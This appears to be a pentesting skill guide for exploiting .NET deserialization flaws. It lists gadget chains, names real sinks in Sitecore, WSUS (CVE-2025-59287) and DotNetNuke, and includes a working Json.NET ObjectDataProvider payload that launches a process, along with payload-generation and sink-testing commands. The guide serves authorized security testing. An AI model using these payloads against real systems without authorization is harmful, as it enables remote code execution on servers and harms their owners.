.NET Deserialization Pentesting
This skill provides practical guidance for assessing and exploiting .NET deserialization vulnerabilities during penetration testing.
When to Use This Skill
Use this skill when:
- You need to generate .NET deserialization payloads
- You're testing applications that use BinaryFormatter, SoapFormatter, Json.Net, or XAML deserialization
- You've identified a potential deserialization sink and need gadget chain options
- You're targeting known vulnerable applications (Sitecore, WSUS, DotNetNuke, etc.)
- You need to understand how ObjectDataProvider or other .NET gadgets work
Core Concepts
ObjectDataProvider Gadget
The System.Windows.Data.ObjectDataProvider class allows arbitrary method invocation during deserialization:
- Mechanism: Sets
ObjectType,MethodParameters, andMethodNameto call any method on any object - Trigger: When
MethodNameis set,base.Refresh()→BeginQuery()→QueryWorker()→InvokeMethodOnInstance()executes - Location:
PresentationFramework.dllinC:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\
ExpandedWrapper
Use ExpandedWrapper<T, U> when the deserializer doesn't know the wrapped object type:
- Purpose: Encapsulates
ObjectDataProviderinside a typed wrapper - Use case: XmlSerializer scenarios where
GetTypeis used during deserialization - Example: DotNetNuke vulnerability exploitation
Payload Generation with YSoNet
YSoNet is the modern tool for .NET deserialization payloads. Use the scripts in this skill to generate payloads quickly.
Available Gadget Chains
| Gadget | Serializers | Use Case |
|---|---|---|
TypeConfuseDelegate |
BinaryFormatter, SoapFormatter, NetDataContractSerializer | Corrupts delegate to call arbitrary methods |
ActivitySurrogateSelector |
BinaryFormatter, NetDataContractSerializer, LosFormatter | Bypasses .NET ≥4.8 type filtering |
DataSetOldBehaviour |
LosFormatter, BinaryFormatter, XmlSerializer | Legacy XML DataSet exploitation |
GetterCompilerResults |
Json.NET typeless, MessagePack | Compiles/loads DLLs on WPF runtimes |
ObjectDataProvider |
BinaryFormatter, Json.NET, XAML | Calls arbitrary static methods |
PSObject (CVE-2017-8565) |
PowerShell remoting, BinaryFormatter | PowerShell ScriptBlock execution |
Quick Payload Generation
# Generate BinaryFormatter payload
python scripts/generate_payload.py --gadget TypeConfuseDelegate --command "calc.exe" --format binaryformatter
# Generate Json.NET payload
python scripts/generate_payload.py --gadget ObjectDataProvider --command "calc.exe" --format jsonnet
# Generate SoapFormatter payload
python scripts/generate_payload.py --gadget ActivitySurrogateSelector --command "calc.exe" --format soapformatter
Real-World Sinks
Sitecore XP Content Editor
Sink: Sitecore.Convert.Base64ToObject(string) → BinaryFormatter.Deserialize()
Trigger Path:
convertToRuntimeHtmlpipeline →ConvertWebControls- Searches for sibling element with
id="{iframeId}_inner" - Reads
valueattribute as base64-encoded serialized data
Exploitation:
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER_PAYLOAD"></dummy>
</html>
WSUS (CVE-2025-59287)
Endpoints:
GetCookie()- deserializesAuthorizationCookiewith BinaryFormatterReportingWebService- unsafe deserialization via SoapFormatter
Ports: TCP 8530/8531 (HTTP/HTTPS)
Impact: RCE as NT AUTHORITY\SYSTEM under wsusservice.exe or w3wp.exe
Detection: Scan for WSUS on 8530/8531, treat any pre-auth serialized blob as potential sink
DotNetNuke
Vulnerability: XmlSerializer deserializes using GetType, requiring ExpandedWrapper
Reference: Seebug Paper
Json.Net Exploitation
Basic Exploit Structure
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c calc.exe"]
},
"ObjectInstance": {"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
Requirements: TypeNameHandling = TypeNameHandling.Auto must be set
Practical Workflow
1. Identify the Serialization Format
Use scripts/identify_serializer.py to analyze captured data:
python scripts/identify_serializer.py --input captured_data.bin
2. Generate Appropriate Payload
python scripts/generate_payload.py \
--gadget TypeConfuseDelegate \
--command "powershell -enc <base64_payload>" \
--format binaryformatter \
--output payload.bin
3. Encode for Target
# Base64 encode for HTTP/HTML injection
base64 -w0 payload.bin
# URL encode for query parameters
python -c "import urllib.parse; print(urllib.parse.quote(open('payload.bin', 'rb').read()))"
4. Test and Verify
Use scripts/test_sink.py to verify deserialization occurs:
python scripts/test_sink.py \
--url "http://target/endpoint" \
--payload payload.bin \
--method POST \
--header "Content-Type: application/octet-stream"
YSoNet Installation
If pre-compiled binaries aren't available:
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Binary location: ysonet/bin/Release/ysonet.exe
Safety Notes
- Only test systems you have explicit authorization to assess
- Deserialization exploits can cause system instability
- Some gadgets may trigger antivirus/EDR solutions
- Document all findings and coordinate with system owners